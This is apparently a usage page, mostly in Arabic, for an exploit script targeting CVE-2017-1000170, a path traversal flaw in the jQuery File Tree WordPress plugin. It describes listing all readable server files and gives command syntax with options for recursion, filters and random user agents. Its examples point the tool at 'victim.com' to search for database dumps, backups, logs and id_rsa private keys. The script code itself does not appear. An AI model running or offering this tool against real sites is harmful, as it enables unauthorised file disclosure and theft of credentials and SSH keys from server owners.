
استغلال ثغرة اجتياز المسار في Jquery File Tree 1.6.6 (CVE-2017-1000170)
استغلال ثغرة تجاوز المسار في Jquery File Tree 1.6.6 (CVE-2017-1000170)
تؤدي إعدادات WordPress الافتراضية للمكوّن الإضافي jQueryFileTree <1.6.6 إلى الفشل في تحليل بيانات المستخدم، مما يسبّب ثغرة تجاوز المسار.
يسمح ذلك للمهاجم بسرد جميع أسماء الملفات في جميع المجلدات القابلة للقراءة على خادم الويب.
وعند دمجه مع هجوم تضمين ملف محلي أو كشف ملف محلي، يمكن أن يؤدي ذلك إلى تنزيل أي ملف قابل للقراءة على الخادم بشكل تعسفي.
$ xpl_jqueryFileTree.php -u url [-f extensions/filenames] [-p path] [-r] [-h] [-a]
مفتاح الرموز:
-h, --help: Show this message
-u, --url: URL of target
-a, --random-agent: Use random user agents
-f, --filter: Name of files or extensions to search for (separated by comma)
-p, --path: The full path from which the filenames will be read (default: /)
-r, --recursive: Generates the tree recursivelly (be careful)
e.g.: xpl_jqueryFileTree.php -u victim.com -f .zip,.sql -p /var/www/html/backup/admin/ -r
|
\-> This will search for all .zip and .sql files inside victim.com/backup/admin and its subpaths
(You must provide the dot to indicate it's an extension)
xpl_jqueryFileTree.php -u victim.com -f .log,id_rsa -a -r
|
\-> This will search for all files named "id_rsa" or having the extension
".log" within all folders of the server, with random user-agents
Tip: use "php ..... | tee output" to save the result to an output file
